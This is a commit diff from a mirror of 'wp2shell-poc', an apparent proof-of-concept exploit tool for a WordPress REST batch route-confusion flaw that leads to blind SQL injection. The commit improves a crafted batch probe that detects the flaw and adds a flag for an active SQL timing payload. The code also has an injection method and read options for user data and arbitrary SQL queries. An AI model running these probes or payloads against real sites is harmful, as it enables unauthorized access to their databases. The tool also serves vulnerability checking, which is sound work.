mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Improved detection
This commit is contained in:
@@ -69,16 +69,25 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
|||||||
### check — confirm the vulnerability (safe)
|
### check — confirm the vulnerability (safe)
|
||||||
|
|
||||||
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
|
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
|
||||||
probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers
|
probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern
|
||||||
such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check`
|
`parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`.
|
||||||
tries a paired timing confirmation. The timing step reads no data and changes nothing. By default
|
|
||||||
it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on
|
|
||||||
noisy or rate-limited targets than a single timing comparison.
|
|
||||||
|
|
||||||
Treat the signals separately: an affected public version is strong triage evidence, while timing
|
The marker probe is based on the WordPress core fix. The malformed `///` request creates
|
||||||
confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing
|
`parse_path_failed`; a `/wp/v2/posts` request acts as a batch-allowed spacer; the
|
||||||
payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of
|
`/wp/v2/block-renderer/...` route is not batch-allowed but returns `block_cannot_read` if its
|
||||||
health.
|
handler is reached anonymously; `/batch/v1` gives `rest_batch_not_allowed`. On vulnerable builds
|
||||||
|
the parse error shifts the batch handler arrays out of step, so the spacer request is dispatched
|
||||||
|
under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three
|
||||||
|
pattern should not appear for the crafted probe.
|
||||||
|
|
||||||
|
By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when
|
||||||
|
you also want the active paired timing confirmation. The timing step reads no data and changes
|
||||||
|
nothing; it sends three baseline/delayed pairs by default and decides on the median delta.
|
||||||
|
|
||||||
|
Treat the signals separately: an affected public version is strong triage evidence, the batch
|
||||||
|
marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the
|
||||||
|
SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing
|
||||||
|
check does not override a positive marker probe.
|
||||||
|
|
||||||
```
|
```
|
||||||
./wp2shell.py check http://target
|
./wp2shell.py check http://target
|
||||||
@@ -113,8 +122,9 @@ path. Remove it when finished.
|
|||||||
| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
|
| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
|
||||||
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
||||||
| `--timeout N` | all | Request timeout in seconds. |
|
| `--timeout N` | all | Request timeout in seconds. |
|
||||||
| `--sleep N` | check | Delay used to confirm the injection. |
|
| `--sleep N` | check | Delay used with `--confirm-sqli`. |
|
||||||
| `--samples N` | check | Baseline/delayed timing pairs to compare (default 3). |
|
| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). |
|
||||||
|
| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. |
|
||||||
| `--preset` | read | `fingerprint` or `users`. |
|
| `--preset` | read | `fingerprint` or `users`. |
|
||||||
| `--query` | read | A scalar SQL expression to read. |
|
| `--query` | read | A scalar SQL expression to read. |
|
||||||
| `--prefix` | read | Database table prefix (default `wp_`). |
|
| `--prefix` | read | Database table prefix (default `wp_`). |
|
||||||
|
|||||||
+32
-4
@@ -115,10 +115,22 @@ def cmd_check(args: argparse.Namespace) -> int:
|
|||||||
return 1
|
return 1
|
||||||
markers = client.batch_marker_codes(probe)
|
markers = client.batch_marker_codes(probe)
|
||||||
if markers:
|
if markers:
|
||||||
good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
|
info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
|
||||||
else:
|
else:
|
||||||
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||||
|
|
||||||
|
route_confusion = client.has_route_confusion_markers(probe)
|
||||||
|
if route_confusion:
|
||||||
|
good("VULNERABLE — batch route-confusion behavior detected.")
|
||||||
|
if not args.confirm_sqli:
|
||||||
|
info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.")
|
||||||
|
return 0
|
||||||
|
elif not args.confirm_sqli:
|
||||||
|
bad("Route-confusion marker pattern not detected.")
|
||||||
|
if any(hint.affected for hint in hints):
|
||||||
|
warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
|
||||||
|
return 2
|
||||||
|
|
||||||
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
||||||
if args.samples > 1:
|
if args.samples > 1:
|
||||||
details = ", ".join(
|
details = ", ".join(
|
||||||
@@ -127,7 +139,13 @@ def cmd_check(args: argparse.Namespace) -> int:
|
|||||||
info(f"Timing samples: {details}")
|
info(f"Timing samples: {details}")
|
||||||
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
|
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
|
||||||
if result.confirmed:
|
if result.confirmed:
|
||||||
good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||||
|
return 0
|
||||||
|
if route_confusion:
|
||||||
|
warn(
|
||||||
|
f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
|
||||||
|
f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
|
||||||
|
)
|
||||||
return 0
|
return 0
|
||||||
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
|
||||||
if any(hint.affected for hint in hints):
|
if any(hint.affected for hint in hints):
|
||||||
@@ -271,12 +289,22 @@ def build_parser() -> argparse.ArgumentParser:
|
|||||||
|
|
||||||
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
|
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
|
||||||
_add_common(check)
|
_add_common(check)
|
||||||
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
|
check.add_argument(
|
||||||
|
"--sleep",
|
||||||
|
type=float,
|
||||||
|
default=3.0,
|
||||||
|
help="SQL timing delay used with --confirm-sqli (default: 3)",
|
||||||
|
)
|
||||||
check.add_argument(
|
check.add_argument(
|
||||||
"--samples",
|
"--samples",
|
||||||
type=int,
|
type=int,
|
||||||
default=3,
|
default=3,
|
||||||
help="baseline/delayed timing pairs for confirmation (default: 3)",
|
help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)",
|
||||||
|
)
|
||||||
|
check.add_argument(
|
||||||
|
"--confirm-sqli",
|
||||||
|
action="store_true",
|
||||||
|
help="also send the active SQL timing confirmation payload",
|
||||||
)
|
)
|
||||||
check.set_defaults(func=cmd_check)
|
check.set_defaults(func=cmd_check)
|
||||||
|
|
||||||
|
|||||||
+7
-1
@@ -99,11 +99,12 @@ class BatchClient:
|
|||||||
return self.post({"requests": []})
|
return self.post({"requests": []})
|
||||||
|
|
||||||
def marker_probe(self) -> Response:
|
def marker_probe(self) -> Response:
|
||||||
"""A benign batch that should produce stable WordPress REST error markers."""
|
"""A benign batch that exposes the vulnerable route-confusion alignment bug."""
|
||||||
return self.post(
|
return self.post(
|
||||||
{
|
{
|
||||||
"requests": [
|
"requests": [
|
||||||
_DESYNC_PRIMER,
|
_DESYNC_PRIMER,
|
||||||
|
{"method": "POST", "path": "/wp/v2/posts"},
|
||||||
{"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
|
{"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
|
||||||
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
|
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
|
||||||
]
|
]
|
||||||
@@ -133,6 +134,11 @@ class BatchClient:
|
|||||||
walk(body)
|
walk(body)
|
||||||
return tuple(found)
|
return tuple(found)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def has_route_confusion_markers(response: Response) -> bool:
|
||||||
|
codes = BatchClient.batch_marker_codes(response)
|
||||||
|
return all(code in codes for code in _BATCH_MARKER_CODES)
|
||||||
|
|
||||||
def inject(self, author_not_in: str) -> Response:
|
def inject(self, author_not_in: str) -> Response:
|
||||||
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
|
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
|
||||||
return self.post(self._payload(author_not_in))
|
return self.post(self._payload(author_not_in))
|
||||||
|
|||||||
Reference in New Issue
Block a user